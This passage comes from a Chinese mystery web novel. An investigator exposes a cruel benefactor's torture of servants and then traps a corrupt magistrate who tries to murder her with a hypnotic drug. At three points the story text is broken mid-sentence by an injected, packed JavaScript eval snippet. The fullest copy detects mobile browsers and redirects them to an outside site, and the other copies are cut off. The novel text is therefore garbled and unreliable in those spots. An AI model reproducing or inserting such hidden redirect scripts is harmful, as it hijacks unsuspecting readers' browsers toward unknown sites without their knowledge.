秋琴终于崩溃,“不是我家小姐,也不是我家老爷。” “所以,是王大善人。”晏熙一锤定音。“那王大善人善名远扬,待人宽厚,你为何如此怕他?” 秋琴痛哭出声,“那王大善人,根本就不是别人所说的那样。我去他府上时曾亲眼撞见,他家里的一个叫兰香的姐姐,只因在布置时不慎遗漏了两个花盆,便被他生生拔去了十指的指甲。他在拔兰香姐姐指甲时,居然还跟平时一样的笑着,我是万万不敢招惹他的。还请晏大人替我隐瞒今日所说之事,秋琴,不想死啊。” 晏熙传唤了杜仲。 晏熙握了握手中的暖炉,“来了,这天气真是的,这么多天了雪还一直下个不停,你一个人住在月字房,冷吗?” 杜仲将自己的头压低,“回大人,小的不冷。” “是吗?”晏熙裹了裹自己身上的披风,“或许是感染了风寒的缘故,我倒是觉得有些冷。不如我和王大善人说说,给你换到雪字房?” “不用。”杜仲连忙拒绝,“不用了大人,您千万别和我家老爷说,小的真不冷,而且小人所住的月字房里有三张床,小人睡觉的时候喜欢乱踢,睡风字房正好,真的。” 晏熙垂了垂眼帘,杜仲说话的时候好像很喜欢在后面补一句“真的”来做强调。 晏熙的声音里没有任何波澜,“你是不想换,还是不敢换?” 杜仲的咽了咽口水,“大人在说什么呢?我家老爷对我可好了,是我自己想住月字房的。云娘炭火烧的足,小的真的一点都不冷。” 晏熙歪头看向他,“那你可认得一个叫兰香的侍女?” 听见“兰香”这个名字后,杜仲整个人为之一颤,“认,认得,不知大人说的,可是之前老爷府上负责管理花草的兰香姐姐?” 晏熙靠上身后的椅背,“她人呢?” “她,她,她出府了。”杜仲的声音开始颤抖。 晏熙挑了挑眉,“出府?为什么出府?” “因为兰香姐姐她年纪到了,于是便出府回家嫁人去了。”杜仲抖入筛糠,看上去害怕极了。 晏熙冷笑一声,“回府嫁人?那为何她家人至今没有收到她的消息,说,她到底去哪儿了?” 杜仲从凳子上滑了下来,他跪在地上,“回大人,小的不知啊。前段时间兰香姐姐在府上的期满,于是便请辞回家。我家老爷一向心善,没有为难便答应了,临走前老爷还额外给了兰香姐姐一笔钱让她傍身,老爷对府上的每一个下人都是这样的。再之后兰香姐姐去了哪里我便不知了,我一直以为兰香姐姐已经到家了。” 晏熙的声音嘶哑却威严,“杜仲,你真的以为兰香已经到家了吗?” “当,当然。” 晏熙仔细观察着杜仲,“那你在害怕什么?那日我问及你有关山魅的事情,你说你敬重鬼神,不怕山魅,可今日提到兰香,你却害怕到从椅凳上跌落,怎么,难道兰香比山魅鬼神还可怕吗?” 杜仲惊慌失措,“我……” 晏熙压低了嗓音,“你就不怕,兰香回来找你吗?” “你之前回答我的每一个问题,答案都是是先准备好的。你在骗我。” 杜仲跪爬在地,“小的不敢,大人,小的知道错了,知道错了。” 晏熙正色看向杜仲,“那就把你知道的,都说出来。欺瞒本官便是欺瞒当今圣上,敢欺瞒圣上,什么后果你自己想想吧。” 杜仲痛哭流涕,“我不是有意要欺骗大人的,之前那些话,都是我家老爷,他逼我说的啊。” 虞州人人都道大善人王嗣乐善好施,却不知他用来施粥的,都是受了潮的霉米和已经腐烂了的菜叶;人人都说王嗣待人宽宥,却只有他身边的人知道,其实他心狠手辣,最喜听人惨叫。 王嗣在外一向谦逊随和,在自己府中却控制欲极强,大到亭台院落的布局摆设,小到仆人们的一言一行,全部都要经过王嗣的同意。稍有差池,便会招来责罚。 府里上上下下所有的角落都要保证不染一尘,下人们往往深夜才能歇息,却仍需时时刻刻打起万分的精神小心行事,并且保持微笑以免影响王嗣的心情。 每隔几日王嗣便会召唤几人前去后花园“领赏”,每到那个时候,所有人都心惊胆战,因为大部分人都是到了王嗣面前,才知道自己是哪里出了差错。 王嗣有一个本子,上面满满当当记录着府上所有人曾经犯过的错,有时候王嗣还会把那些错误攒起来,等到某一日,在当事人以为那件事已经过去了的时候突然提起来。 杜仲的父亲便是如此遭遇。 杜仲的父亲是王嗣府上的帮工,平时主要帮忙修缮损坏的桌椅板凳等物件,有一次在帮王嗣修理一个花架时,不小心摔倒,将其中一根横木折出一条细细的裂缝,他当即便尽力弥补。 那裂痕其实本身并不明显,修补完之后不用手细摸更是完全看不出来,但杜仲的父亲自知有错,便主动告知于王嗣,当时王嗣只是抚摸着那道细痕,对杜仲的父亲说了一句你下去吧。 杜仲的父亲本以为此事就此了结,感念于王嗣的宽宏大量,伺候做工更加细致卖力,直至一年后的某一日,杜仲在做工之时突然被王嗣召唤。 杜仲的父亲以为王嗣有事安排,到了之后王嗣却半晌不语,只是眯着眼睛微笑品茶。周围的侍女们仿佛没有看见杜仲父亲的到来,连眼睛都不抬地静静微笑着端站,从远处看几乎以为是假制的人偶。 周围气氛怪异,杜仲的父亲本就木讷,怕自己说错话,于是便在一旁静静等候。良久之后,王嗣放下茶杯,用他那惯常的笑脸看向杜仲的父亲,“你可还记得一年前你曾折断了我的紫木花架?” 杜仲的父亲连连点头,“记得记得,当时大人宽宏大量,未曾责罚小人,小的一直很感激大人的宽宏大量。” 王嗣点了点头,“知道感激就好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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杜仲边抽泣边说道,“至于兰香姐姐,她在老爷接待客人的那天,布置场地时遗漏了两个花盆。可那完全是因为当天老爷对花盆到底要怎么摆放一直拿不定主意,多番修改才导致兰香姐姐一时疏忽遗忘了的。” “可是老爷从来不听解释,也不给机会,当天晚上便拔了兰香姐姐的两个手指甲,后来又将兰香姐姐吊起来抽打。老爷没有开口说给兰香姐姐用药,我们其他人便不敢给她。那时是夏天,兰香姐姐的伤口很快便发炎化脓,老爷于是把兰香姐姐关在一间柴房里,每日只给她一点水喝,还要求我们每个人每天都去看一眼兰香姐姐的样子,直到,直到某一天兰香姐姐不见了。” 杜仲蜷缩着身体,“老爷说,兰香姐姐请辞离府回家,他已经准了。我们不敢多问,我真的不知道兰香姐姐去哪里了。” 一旁的福砚掩住了自己的脸,不忍细听。 杜仲抬起头怯生生地看向晏熙,“老爷对府上下人有要求,对外说的每一句话都要事先获得他的同意,不然定然会受罚,兰香姐姐便是个例子,我不敢忤逆老爷,这才欺瞒了大人。我其实可害怕鬼神了,但是老爷说,李县令下了命令,不管你们其他人怎么说,我们都要坚称世上根本没有山魅,所以那天我才说我不怕的。” 晏熙感到一阵不寒而栗,她皱了皱眉,“李县令为何要下如此命令?” 杜仲也摸不到头脑,“回大人,小人不知,老爷怎么说我便怎么做,其他的,不敢多问。” 晏熙轻咳两声,“那你告诉我,王嗣对明武明礼的态度究竟如何?” “老爷他其实根本就不喜欢明武明礼,但明武明礼是李县令的人,老爷有许多事都要仰仗李县令,他和李县令还一同经营着一些生意,所以他才一直忍着。事实上,老爷对李县令也有颇多不满,他和李县令说是一同做生意,但李县令从来不管任何事,所有的事情都是老爷一个人再打点,可李县令却要拿走七成的利益。” “只不过老爷对外一向从不拿真面目示人,他也不敢跟李县令翻脸,所以一直伪装的对李县令言听计从,连带着对明武明礼也是礼让有加。” “私底下,老爷曾多番痛斥明武明礼的粗鲁行径,也曾多次痛骂李县令仗势欺人、太不仁义,只不过,这些火气他全部都撒在了我们这些下人身上。他曾不止一次说过想要杀死明武和明礼,连如何虐杀明武明礼的方法都曾设想过许多种方式。” 晏熙坐直了身体,“那他说过的那些方法里,可曾有过与现在明武明礼死状相同的法子?” 杜仲摇了摇头,“老爷倒是不怎么喜欢装神弄鬼,比起这样,他更喜欢当众凌辱虐打。” 杜仲仔细想了想,“不过,他倒是说过想把明武明礼活活烧死。” 21. 猎 飞雪猎野彘,众人齐欢笑。 午后,晏熙小憩了一会儿,醒来后发现窗外的雪似乎变小了。 福砚又端过来一个小炖盅,晏熙打开一看,这次里面是排骨、薯蓣、菌菇、姜片还有枸杞。所有的食材都被煮到软烂入口,对于咽部不适的人来说,正正好满足了所有的需求。 “咚”地一声巨响从外面传来,晏熙抬头询问,“福砚,外面怎么了?” 福砚向着门外的方向看了一眼,笑意盈盈地半眯起眼睛,“有一头野猪不知怎么地闯进了云娘店前院,大家正在抓它呢。那声响估计是野猪不小心撞到了什么东西吧。公子,你要不要出去看看,外面现在乱作一团,可有趣了。” 晏熙低下头舀了一勺汤送入口中,“商公子和喜松也参与了吧。” 福砚收起表情,点了点头。“公子你要是不想出去,我就在这里陪你。” 晏熙轻轻揉了揉福砚的头,“傻福砚,你陪着我干什么,你想和谁一起玩,就去找谁。”晏熙看了一眼窗外,“我们在这里,待不了几天了。如果我和你都可以顺利离开的话,也许有些人再也不会有机会相见了。” 福砚摇了摇头,“公子我知道的,我只是更想待在你身边。” 晏熙紧盯住福砚的眼睛,“你还记得在来云岫山之前,我曾交代你的事情吗?” 福砚点了点头。 晏熙握紧了福砚的手,“你现在再和我保证一遍,说你一定可以做到。” 福砚红了眼睛,“公子,我保证,如果真的到了那一步,我一定做到。” 晏熙放心地笑了笑,端起炖盅加快了食用速度,“等我喝完,我们一起出去看看他们是怎么捉野猪的。” 那头野猪是突然跑进来的,彼时喜松和福砚正蹲在晏熙的房门口分食一盅炖汤。 在此之前,商隐之在厨房里炖汤,喜松给他帮忙打下手,做到一半时喜松突然起了情绪。 商隐之察觉到喜松的闷闷不乐,便顺手拿起一块糖塞进了喜松口中,“怎么了,怎么突然不开心了,来,跟公子说说。” 喜松泪眼惺忪地看着商隐之,“公子,我想家了。”喜松含着糖口齿不清,“我看见这炖盅就想起老爷、夫人还有大公子和家里的那些哥哥姐姐们,也不知道我们离开这么久,他们有没有想我们。” 商隐之揽了揽喜松,“吓我一跳,还以为你怎么了呢。放心吧,他们呀,肯定会想我们的,你想想,以前家里不都是我们两个在闹腾了,现在我们不在了,家里肯定很冷清,这一冷清他们就会觉得无聊,一无聊就想到我们了。” 商隐之模仿着各种不同的语气,“老爷肯定会说,‘家里没这两小子,可真无趣呢’;夫人肯定会说‘也不知道这两小子在外面吃得怎么样,穿得暖不暖,有没有闯什么祸’;这个时候大公子就会说,‘你们二位就别担心了,那两小子机灵着呢,肯定不会亏待自己,就算闯了祸,也一定能顺利脱身’。实际上啊,最急的就是大公子,我们两不在,他心里憋着坏,都不知道要找谁背锅。” 喜松点了点头,“对,一定是这样的。” 商隐之笑了笑“所以你呢,就别瞎想了,好不容易跟我出来玩一趟,咱们就好好享受这一路的见闻轶事吧,家里其他人还没这个机会呢。等到我们回家的时候,他们一定准备了很多好东西等着我们呢,到时候我们就把这一路的经历讲给他们听。” 喜松揉了揉眼睛,“可是公子,你说,现在这个情况,我们能顺利完成所有的任务回家吗?” 商隐之拍了拍喜松,“不用担心,一定可以的。快帮我把薯蓣处理了。” 喜松抿了抿唇,“可是公子,这个薯蓣真的很痒啊。” 商隐之笑了出声,“所以我才让你来处理啊。”见喜松嘟起了嘴,商隐之道,“好了,一会儿我多炖一盅给你喝,来缓解你的思乡之情好不好?” 福砚还在守着熟睡的晏熙,于是喜松帮忙把炖盅送了上去。喜松做贼一般在房门口喊了两声福砚,福砚悄声打开门,“怎么了?” 喜松左顾右盼地探了探脑袋,“晏公子还在休息吗?我家公子让我来给晏公子送汤。” 福砚点了点头,接过喜松手中的托盘,“谢谢你和商公子,那我先端进去了。” “哎,哎,你等一下。”喜松叫住了福砚,“公子多做了一盅,你和我一起分了吧。”喜松憨憨一笑,“咱俩是兄弟嘛,有福同享,有难同当。” 福砚被喜松的话逗得一乐,“可是,我得留在这里看着我家公子,我怕他一会儿醒了有事找我。” 喜松想了想,“那不如我端上来吧,咱俩就在这门口吃,这样晏公子便发现不了这炖盅是我家公子做的,他要是醒了你也能马上知道。” 喜松下楼端来了炖盅和两个碗,他和福砚一人一碗正吃得开心,门外传来了重物撞击的声音。 门被一下一下撞击着,像是有什么东西想进来,这几日山魅的传闻才刚刚在云娘店平息,众人不免紧张了起来,连三楼的人都探出头张望着到底发生了什么。 师玄温从自己的座位上起身,“莫惊慌,喜松那小子呢,看看他在不在,说不定又是他在吓人呢。” 福砚低头窃笑,喜松连忙起身趴到栏杆上向下面喊话,“师先生,我在这儿呢,这次可真不是我干的。” 师玄温见状,思索了一秒,随后立刻从柜台后撤离,一路跑到了二楼,“那这,究竟是何物?” 众人互相打量这没有说话,商隐之和张大虎推开窗户向外查看,确定是一只迷了路的野猪,大家这才放下心来。 张大虎立刻就要回房拿自己的工具来打这头野猪,被商隐之拦住了。“张大哥,不如我们来比一比,看谁先捉住这头野猪?” 张大虎亮了亮眼睛,“好啊,那我们就来比试比试。” 听到这话的杨远也激动了起来,“我也要来我也要来。” 张大虎上下打量了杨远一番,露出为难的表情,“杨公子,不是我小瞧你,你看上去好像没什么经验,这野猪撞人劲可大呢。” 杨远不服气的双手叉腰,挺着胸膛看向张大虎,“你看不起谁呢?小爷我可厉害着呢。” 张大虎看向一旁的商隐之,“商公子,这……” 商隐之点了点头,“就让他来吧,他啊,现在憋着劲要做出点什么事情来呢。”商隐之又叮嘱杨远,“你一会儿自己小心点啊,打不过就跑,别被野猪给伤了。” 师玄温慢悠悠地回到自己的柜台后面,“你们再多商量一会儿,那野猪该自个儿进锅喽。” 这时王嗣从三楼走了下来,笑眯眯地看向众人,“听说诸位要比赛抓野猪?不如这样,我给诸位加个码,我出十两银子买这头野猪。” 于是商隐之招呼其他人,“一起来吧,人多热闹,而且十两银子买一头野猪,王大善人可是亏大了。” 王嗣依然是一副笑眯眯的样子,“图个开心嘛。” 阿信和顺平闻言跃跃欲试,他们俩看向苏云碧,见苏云碧点了点头便加入了抓野猪的队伍。一旁的契苾月起身,“我也可以参与吗?”被苏云碧一把按了回去,“不可以,月姑娘,我们这里现在可没有大夫。” 商隐之对苏云碧喊道,“云娘,你就让月姑娘来吧,凑个热闹嘛,有我们这么多人在,伤不了她的。”契苾月“嗖”地起身蹿到了商隐之身旁,还对着苏云碧吐了吐舌头。商隐之抬头看向还在二楼张望着的齐怀章,“齐生,你不来吗?” 齐怀章的表情有点犹豫。商隐之召唤到,“齐生,我们可就差你了,快来吧。”其他人也跟着喊道,“齐生,快来呀。”齐怀章难以抵挡众人的热情召唤,于是将手中的书本扔回房间,“蹬蹬蹬”下了楼。 商隐之点了点人数,“丁大厨呢?” 丁文元从后厨跑了出去,“我就不去了,一会儿你们抓到了,我来处理。” “那哪儿行啊,丁大厨,我们可就差你了。” 丁文元一脸“你糊弄谁呢”的表情,“你刚才对齐生也是这么说的。”商隐之靠近丁文元,“我刚才是骗他的,对你说的才是真的。” 商隐之和张大虎带着一伙人浩浩荡荡地走向野猪,喜松着急地在后面大喊,“公子,我也去,你等等我。” 商隐之拦住了喜松,“你留在这里,要是一会儿那野猪发了狂,你负责保护留在这里的其他人。” 众人开始了对野猪的围追堵截。那野猪本就迷了路,见到这么多人更加惊慌,一路横冲直撞的,不慎撞坏了云娘店的大门。 王嗣站在苏云碧身旁围观,“云娘莫要担心,这门我会赔给你的。”苏云碧摇了摇头,“我只希望大家都小心点儿,不要伤着了才好。” 晏熙裹着厚厚的披袄带着福砚走了出来,她哑声道,“云娘当真是人美心善。” 苏云碧回过头,“晏公子,你怎么下来了,你还生着病呢。”晏熙笑了笑,“外面这么大的热闹,我怎能不来看看。”于是苏云碧拉过晏熙,站到了她的身前,“那我替你挡着点儿风。” 野猪追逐场上,张大虎一看就经验十足,蓄势待发;商隐之虽不如张大虎有经验,却有勇有谋,以智取胜;杨远气势摆的倒是足,但过于求成,太过猛进,搞得野猪更加急躁;契苾月倒是一点儿也不怯场,裙衩不输须眉;齐怀章、丁文元、阿信和顺平则在场上胡乱地跑着,一个劲儿地在身后追着野猪,野猪一旦掉头,他们则立刻四散跑开。 追了野猪一段时间后,几个人渐渐有了默契,在张大虎的指挥下,众人对野猪围追堵截,就在快要成功的时候,野猪突然转向朝着远处围观的几人冲去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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远处的商隐之对着丁文元点了点头,丁文元便对着晏熙点了点头,“好说好说,你想吃多少都可以。” 晏熙见丁文元总是向自己身后瞟,于是疑惑地回头看了看,却什么也没看到。晏熙以为是自己想多了,便就此作罢,“那就谢过丁大厨了。对了,你是怎么想到给生病的人做这道汤的?” “这个啊。”丁文元飞快思索,“是这样的,之前有个住店的客人生了病,跟你一样,咽部疼痛吃不下东西。和他一起来的朋友呢,便向我借了厨房煮这道汤给那位病人喝,您猜怎么这,那病人果然就有了胃口,所以我便向那位客人讨来了做法,今日一试,果然好用。” 晏熙点了点头,“是这样啊,我知道了。那我就先告辞了,麻烦你了。” 晏熙离开后商隐之从躲藏的角落走了出来,他一言不发地拿起食材开始准备给晏熙做炖汤。丁文元看了他一眼,“商公子,你说你,和晏公子两个大男人,你们是朋友,又不是谈情说爱,这么扭扭捏捏干什么?还得我来想办法帮你圆谎。” 丁文元手上动作着,“虽然我不知道你和晏公子之间发生了什么,但是两个人在一起相处,肯定会有矛盾的嘛。就比如我和阿信还有顺平他们,那也是经常会有矛盾的,为了各种小事吵架,但大家都是朋友,只要把话说开了,道个歉也就没事了。” “你说你们两个,前几天一起查案子的时候,那说说笑笑意气风发的样子多好啊。咱们啊,要不是因为这场大雪,被迫聚集在这云娘店,都不一定能彼此遇得到。你看这雪已经开始变小了,估计要不了多久就能下山了,到时候你们各走各的路,这辈子啊,都不一定能再见到。你别看这世上到处都是人,能碰到与自己志气相投的朋友是不容易的。有的人能遇见就已经是莫大的缘分了,所以要好好珍惜能够相处的时间。” “我看晏公子也不是不讲理的人,你呢,每天偷偷摸摸跑来给他炖汤,明显也还是那他当朋友的,与其这样僵持着,不如把话说明白了。” 商隐之无奈地笑笑,叹了一口气,“好,我听你的,等晏公子消一消气,我就去跟他道歉。” 丁文元咧开大牙,“这就对了嘛。” 深夜,晏熙沉沉地在床上安睡,由于生病畏寒,即使是睡觉,也穿着厚厚的衣服。 一根细细的细管悄然从窗户的缝隙伸了进来,紧接着,大量的烟雾透过细管弥漫了整个房间。 窗户被推开,一个雄壮的身影跳了进来,他在黑暗中蹑手蹑脚地走向晏熙,不慎撞到一旁的花盆。 那人连忙扶住花盆,确定晏熙没有被吵醒,才继续蹑手蹑脚地向前走。 行至床边,那人停下脚步,月光下照耀在晏熙的脸上,她睡得甚是安稳。 那人从腰间抽出一把短刀,随后向晏熙刺去。 22. 局 围棋斗白黑,生死随机权。① 白日里,秋琴潜入了晏熙的房间。 那头野猪出现得恰到好处。王嗣带着杜仲用高额赏金吸引了众人的目光,原本李绍成担心晏熙不出去,准备亲自去请,晏熙却自己带着福砚去围观了这场狩猎。 秋琴在得知李绍成要让自己要做的事情后,当即吓软了腿,“老爷,秋琴不敢,那可是黜陟使大人啊。” 李绍成看着秋琴畏畏缩缩的样子就来气,若是明武明礼还在,定然早就去了。他后悔自己没多带点人来,明武明礼跟随他多年,骤然失去了他们俩李绍成倒觉得很是不适应。 依照李绍成的性格,明武明礼死后他定然是要拿整个云娘店中的所有人问罪。 尤其是那个苏云碧和契苾月,居然敢当着他的面一遍遍提起洛阳、山魅那些事情,谁知道她们到底藏的什么心思。但无论她们是什么心思,都绝对不能留。还有那个齐怀章,当年侥幸让他给跑了,现在居然敢给自己下药,害得他那天几乎不能沾座。以及那个杨远,一看就知道对自己的女儿还有所企图,若不是李素织意志坚定,恐怕就被他得逞了。至于那个商隐之,跟个狗腿似的每天跟在晏熙身后,看得让人反胃。至于剩下的人,反正也看不顺眼,不如一起料理了。 只可惜不知道那个晏熙是从哪里冒出来的,当众宣称自己是黜陟使,从他手中抢走了查案权。 虽说他本就是奔着这位黜陟使而来,也曾听闻这位黜陟使年纪轻轻,可见到晏熙后他总觉得此人有点过于年轻了。虽然他当时拿出了册子,但李绍成心中的疑虑却从未打消。 而且这位黜陟使大人的态度太奇怪了,不论是他还是李素织抑或是王嗣,所有人对他的示好他全部都照单全收,甚至连假意推拒一番都没有。好像他已经习惯了这种做派,可他就当真不怕留下什么把柄吗?更可气的是他收了所有人的好处之后,却也不见对他们更加热络一点,每天还是假模假样的调查,王嗣说他是草包,李绍成却深感疑惑。 李绍成原本想派杜仲去晏熙房中寻找他想要的东西,王嗣从小调教出来的人做事必然谨慎,可是王嗣这厮居然挡了回去,说什么如果杜仲不在他身边跟着,别人定然要起疑。其实李绍成知道他在想什么,无非是怕万一被人发现,他到时候不好脱责,但若是秋琴去做被人发现,他大可以称与他毫无关系。 李绍成轻蔑地冷哼一声,“一会儿所有人都在外面,王嗣会帮你盯住晏熙和他身边那个小书童的动向,有什么好怕的?要不是本官身边现在无人可用,我怎么会想到要用你。” 李绍成语带威胁地说到,“本官和小姐待你不薄吧?明武明礼是什么下场你看到了吧,你不会是想和他们一样吧?你别忘了,你娘现在吃的药还是小姐买的,怎么,你以为本官不知道吗?” 秋琴恳求道,“可是,可是,老爷,求您了,秋琴真的……” 李绍成起身拂袖,“做不到你就留在这云岫山,不用回去了,白白养你那么久,一点用都没有。出去吧。” 被逼无奈的秋琴于是壮着胆子趁众人围捕野猪之时,潜进了晏熙的房间。过程比想象的更加顺利,她很快便在抽屉里找到了晏熙出任黜陟使的册子,于是便将它带回交给了李绍成。 李绍成打开仔细一看,里面果然有惊喜。 围猎野猪的活动结束,王嗣直奔李绍成的房间,“哥哥,怎么样,到手了吗?” 李绍成将那本册子扔给王嗣,王嗣看到册子里面还夹着一张纸,他了然一笑,“原来如此。这秋琴事情办得不错呀。哥哥,那你现在打算怎么办?” 李绍琛沉吟片刻,“必杀之。” 这个盗世欺名的冒牌货竟然行骗到自己头上,现在手上还掌握了自己行贿的证据,不杀必然是不行了。既然现在这里的所有人都相信他是黜陟使且正在调查明武明礼遇害一事,那就把一切都推到那个“凶手”身上便是。 到时候晏熙一死,整个案子便又回到了他的手上,到时候他想怎么查便怎么查,那些人一个也别想跑。 可是,明武明礼现在没了,秋琴是个不顶用的,王嗣这个老滑头定然不会愿意冒险,他身边那个杜仲办事倒是稳妥,但杀人看他的样子就知道不行,别到时候再弄巧成拙,而且王嗣也不一定能同意。这几年自己和王嗣捆绑太多,到时候把他逼急了,自己也讨不到什么好处。李绍成思索一番,发现平日里自己养人无数,关键时刻,竟然只能自己上了。 罢了罢了,这种事情,自己又不是没有亲手做过。 于是李绍成趁夜潜进了晏熙的房间。 他手里的这味药,是他偶然得到的一味禁药,多年前他曾使用过,其中就包括在洛阳的那段时间,这些年也是一直备在身边以防不时之需。 他将药吹入晏熙的房间,随后便走了进去。 这药可以使人陷入深度沉睡状态,之后便会听从第一个唤醒他的人的指挥。 很少有人可以意志坚定与之对抗,但是为了以防万一,他还是小心翼翼地进了晏熙的房间,随后掏出刀扎向晏熙。 床上之人一点反应也没有,看来确实陷入了沉睡。 李绍成随后打了个响指,晏熙“腾”地一下子睁开了双眼。李绍成盯着晏熙木楞无神的双眼,对她说,“现在,你要拿着这顶蜡烛,口中呼唤着‘阿紫’走到后院,然后将自己点燃。” 李绍成的眼睛在黑夜中泛着冷光,他伸出自己握着刀的那只手,“只不过,我现在没有硫黄了,这点烛火烧不死你,所以在点燃自己之前,你需要先捅自己一刀。” 晏熙机械地从李绍成手中拿过那把短刀,呆呆愣愣地走到房门口打开了门。 门外站着云娘店所有的人。 李绍成大惊失色,“怎么会,你们……怎么会在这里?” 站在人群最中央的商隐之轻轻开口,“抓到你了。” 师玄温看了一眼屋内场景,“原来唱戏之人,竟是李县令啊。” 晏熙转过身冷冷地看向李绍成,她的眼神恢复了清明,“你,就是我们一直在找的‘山魅阿紫’。” 云娘店的众人是被商隐之召集在一起。商隐之白日里写了数张“今天夜里,晏公子房门口见,有好戏上演。注意小心行事,不要被唱戏之人发现。”的条子,请苏云碧帮忙趁晚饭时间送到了众人的房中。 李绍成指着商隐之,“你,你不是与晏公子闹翻了吗?” 商隐之低下头看着身前的晏熙,“是在吵架,可我们还是朋友啊,他有需要我帮忙的地方,我怎能不答应。” 晏熙告别丁大厨从后厨离开后,找来了福砚。晏熙看着她的眼睛,“我问你,你给我端过来的炖汤,是谁做的?” 福砚低下了头,“丁大厨啊,熙姐姐,你问这个做什么?” 晏熙看着明显心虚的福砚,“真的吗?” 福砚眼睛四处乱飘,“当,当然了,公子,我骗你干嘛啊,不是丁大厨做的还能是谁,我福砚可不会做。” 晏熙紧紧盯着福砚,“那你抬起头来,看着我的眼睛说。” 福砚转身就跑,“那个,公子,我还要收拾东西呢,不然要来不及了,我先走了。” 晏熙无奈笑笑,然后又去到了后厨。 看见晏熙进来的丁大厨瞪大了眼睛,刚要开口,被晏熙噤了声。晏熙悄声走到正在专心清洗笋子的商隐之身后,用沙哑的声音在他耳旁低语,“商公子,你这是在做什么呀。” 商隐之手一抖,感觉自己被定在了原地,整个身体都变得僵硬了起来,他连头都没敢转,盯着虚空,“没,没干什么啊,那个,丁大厨说他忙不过来了,让我帮忙洗个菜。是吧,丁大厨?” 商隐之半响也没听见丁文元的回答,转过身一看,丁文元早已经跑了。 晏熙挑了挑眉,“是吗?原来商公子对谁都这般热心,乐意相助。” 商隐之小心翼翼地看了一眼晏熙,见他不似生气的样子,“那倒也没有。你该不会知道这炖汤是我做的之后,就不吃了吧?我没有别的意思,就是希望你快点好起来。” 晏熙看了一眼商隐之洗菜的手,“为什么不吃啊?” 商隐之放心地笑了笑,“那就好。你吃着可有什么不合口味的地方,有的话告诉我,我加以改正。” 晏熙垂了垂眸,“没什么不合口味的地方。” 商隐之点了点头,“那就好。这后厨冷,你还病着呢,快点儿回房间待着吧,把自己裹严实点。一会儿汤煮好了我给你送上去。” 晏熙抬头望向商隐之的眼睛,“那你愿不愿意,再帮我一个忙?” 得知了晏熙计划后的商隐之立刻反对,“不行,这样太危险了,万一他这次改变了想法,直接对你动手了怎么办?” 晏熙摇了摇头,“不会的。他已经用这样的手法做了至少两起案子了,而且将自己隐藏的很好,在这种情况下,贸然改变自己的作案方式反而更加冒险。” 商隐之还是反对,“不行,那要不然换我来,今夜我去你的房间等着他。” “不行。”晏熙也不答应,“他一看见你便会知晓这是个圈套,到时候要如何进行下去?如果抓不到他作案的过程,他大可以随便找个理由逃脱。” 商隐之眼里满是担忧,“那万一他真的伤到你怎么办?” 晏熙笑了笑,“放心吧,到时候我会小心的。”晏熙上前一步握住商隐之的手,“商公子,本来这些事情我打算一个人做的,但是不想你担心,这才提前告诉了你,你就帮帮我吧。” 商隐之被晏熙放在自己手上的手吸引了注意力,不知不觉就点了点头。 等他回过神来,晏熙已经走到了后厨门口,“对了,你那一手好字别浪费 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516318|186232||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,帮忙写写条子吧。”晏熙回头宛然一笑,“谢了啊。” 商隐之只来得及最后问一句,“你确定是他吗?” 李绍成心如死灰,这才得知自己中了圈套。 晏熙将手中的那把刀交给商隐之保存,“李绍成李县令,你现在还有什么话要说?” 屋内的烛火被依次点燃,李绍成从众人脸上依次扫过,匆匆赶下来的王嗣、杜仲、李素织和秋琴满脸疑惑,还不清楚到底发生了什么。李绍成的目光最后停留在晏熙脸上,“你根本就不是圣上派下来的黜陟使,而是游侠‘一夕烟’。” “在我离开府上之前,我便收到了‘一夕烟’留下的字条,来到云娘店后我对‘一夕烟’多加防范,却未曾发现他的身影,随身携带物品也未曾有过丢失,我还当是这大雪挡住了‘一夕烟’,却原来,我早已把东西亲自送到了你手上。” “你手上那份册子是伪造的,只不过你伪造的相当高明,我今日仔细查看才发现了其中的端倪,而且,我在你的册子中,找到了‘一夕烟’的标记。” “你根本没有权利过问这些案子,该查案的人,是我。你们这些庶民,都给本官退下。” 契苾月看了李绍成一眼,“李县令,你是糊涂了吧,所谓‘一夕烟’的标记,不过是晏大人用来吊你的幌子,你还真信啊?” 周围其他人跟着符合道,“就是,就是。” 苏云碧往前站了一步,“李县令,先不论晏公子的身份,你刚才想杀人的过程我们可是都看见了,让凶手来断案,怕是不合适吧。” 齐怀章在一旁出声,“李县令用禁药杀人之事,我等亲眼目睹,且行凶过程与明武明礼遇害案全然相同,李县令,你还有什么好说的?” 这时李素织动了动,杨远一把拉住她,小声道,“你做什么去?” 李素织看了杨远一眼,“自然是去帮我爹说话,我不能看着他就这样被围攻。” 杨远神色悲凉,“你已经看到他都做了些什么了,即便如此,你也要向着他吗?” 李素织转过头去,“他是我爹。” 杨远叹了一口气,“就像当初,他一句反对,你便放弃了我们之间的所有。” 李素织从人群中走了出来,她站到自己的父亲身旁,“今日之事,或许是我父亲误会了。”她狠狠地看了晏熙一眼,“才不慎掉入圈套。可是明武明礼之死,我李素织发誓,绝对与我父亲没有半点关系,还望各位不要被蒙蔽了双眼,那凶手就在我们之中,如果不找到真正的他,我们其他人仍处在危险之中。” 